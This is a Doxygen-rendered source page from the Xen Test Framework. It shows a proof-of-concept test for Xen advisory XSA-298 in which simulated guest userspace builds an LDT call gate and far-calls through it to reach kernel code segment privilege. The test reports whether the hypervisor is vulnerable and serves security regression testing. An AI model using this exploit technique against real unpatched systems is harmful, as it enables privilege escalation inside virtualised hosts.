Xen Test Framework
main.c
Go to the documentation of this file.
1
38#include <xtf.h>
39
40const char test_title[] = "XSA-298 PoC";
41
42#define GATE_SEL (0x1000 | X86_SEL_LDT | 3)
43
44unsigned int gate_target(void);
45asm ("gate_target:;"
46 "mov %cs, %eax;"
47 __ASM_SEL(lretl, lretq)
48 );
49
50static void __user_text user1(void)
51{
52 env_gate *gate = _p(GATE_SEL & PAGE_MASK);
53
54 pack_call_gate(gate, __KERN_CS, _u(&gate_target), 3, 0);
55}
56
57static unsigned long __user_text user2(void)
58{
59 /*
60 * Don't put on the stack. Some versions of Clang try to initialise it by
61 * copying out of .rodata which is a supervisor mapping.
62 */
63 static far_ptr __user_data ptr = { .selector = GATE_SEL, };
64 const char *vendor_ptr = _p(&ptr);
65 unsigned int res = 0;
66
67 if ( IS_DEFINED(CONFIG_64BIT) && vendor_is_amd )
68 vendor_ptr += 4;
69
70 asm volatile ("1:"
71#ifdef __x86_64__
72 "rex64 "
73#endif
74 "lcall *%[ptr]; 2:"
75 _ASM_EXTABLE_HANDLER(1b, 2b, %P[rec])
76 : "+a" (res)
77 : [rec] "p" (ex_record_fault_eax),
78 [ptr] "m" (*vendor_ptr),
79 /* Pretend to read all of ptr, or it gets optimised away. */
80 "m" (ptr));
81
82 return res;
83}
84
85static int remap_linear(const void *linear, uint64_t flags)
86{
87 intpte_t nl1e = pte_from_virt(linear, flags);
88
89 return hypercall_update_va_mapping(_u(linear), nl1e, UVMF_INVLPG);
90}
91
92void test_main(void)
93{
94 env_gate *gate = _p(GATE_SEL & PAGE_MASK);
95 unsigned int res;
96
97 /*
98 * Prepare userspace memory.
99 */
100 void *volatile /* GCC issue 99578 */ ptr = gate;
101 memset(ptr, 0, PAGE_SIZE);
102 remap_linear(gate, PF_SYM(AD, U, RW, P));
103
104 /*
105 * Simulate a piece of userspace making the attack, with an
106 * mprotect(PROT_READ) syscall in the middle.
107 */
109 remap_linear(gate, PF_SYM(AD, U, P));
110 res = exec_user(user2);
111
112 /*
113 * Interpret the result. Successful use of the call gate should return
114 * the running %cs, while a fixed Xen should fail the far call with a #GP
115 * fault.
116 */
117 switch ( res )
118 {
119 case __KERN_CS:
120 return xtf_failure("Fail: vulnerable to XSA-298\n");
121
123 return xtf_success("Success: Not vulnerable to XSA-298\n");
124
125 default:
126 return xtf_failure("Fail: Unexpected return value %#x\n", res);
127 }
128}
129
130/*
131 * Local variables:
132 * mode: C
133 * c-file-style: "BSD"
134 * c-basic-offset: 4
135 * tab-width: 4
136 * indent-tabs-mode: nil
137 * End:
138 */
bool ex_record_fault_eax(struct cpu_regs *regs, const struct extable_entry *ex)
Record the current fault in %eax.
Definition: extable.c:8
#define __ASM_SEL(c, l)
Definition: asm_macros.h:25
#define vendor_is_amd
Definition: cpuid.h:34
#define __user_text
Definition: compiler.h:33
#define __user_data
Definition: compiler.h:34
void test_main(void)
To be implemented by each test, as its entry point.
Definition: main.c:110
const char test_title[]
The title of the test.
Definition: main.c:24
#define EXINFO_SYM(exc, ec)
Definition: exinfo.h:29
static long hypercall_update_va_mapping(unsigned long linear, uint64_t npte, enum XEN_UVMF flags)
Definition: hypercall.h:115
#define _ASM_EXTABLE_HANDLER(fault, fixup, handler)
Create an exception table entry with custom handler.
Definition: extable.h:38
static unsigned long exec_user(unsigned long(*fn)(void))
Definition: lib.h:62
static void exec_user_void(void(*fn)(void))
Definition: lib.h:70
#define memset(d, c, n)
Definition: libc.h:33
#define IS_DEFINED(x)
Evalute whether the CONFIG_ token x is defined.
Definition: macro_magic.h:67
#define GP
#define _p(v)
Express an abitrary integer v as void *.
Definition: numbers.h:48
#define _u(v)
Express an arbitrary value v as unsigned long.
Definition: numbers.h:53
#define PAGE_SIZE
Definition: page.h:11
unsigned long intpte_t
Definition: page.h:152
#define PAGE_MASK
Definition: page.h:12
intpte_t pte_from_virt(const void *va, uint64_t flags)
#define X86_SEL_RPL_MASK
Definition: processor.h:189
void xtf_failure(const char *fmt,...)
Report a test failure.
Definition: report.c:94
void xtf_success(const char *fmt,...)
Report test success.
Definition: report.c:38
__UINT64_TYPE__ uint64_t
Definition: stdint.h:17
#define PF_SYM(...)
Create pagetable entry flags based on mnemonics.
static void pack_call_gate(env_gate *g, unsigned int sel, unsigned long offset, unsigned int dpl, unsigned int other)
Definition: x86-gate.h:110
@ UVMF_INVLPG
Definition: xen.h:383
unsigned int gate_target(void)
static int remap_linear(const void *linear, uint64_t flags)
Definition: main.c:85
static void user1(void)
Definition: main.c:50
#define GATE_SEL
Definition: main.c:42
static unsigned long user2(void)
Definition: main.c:57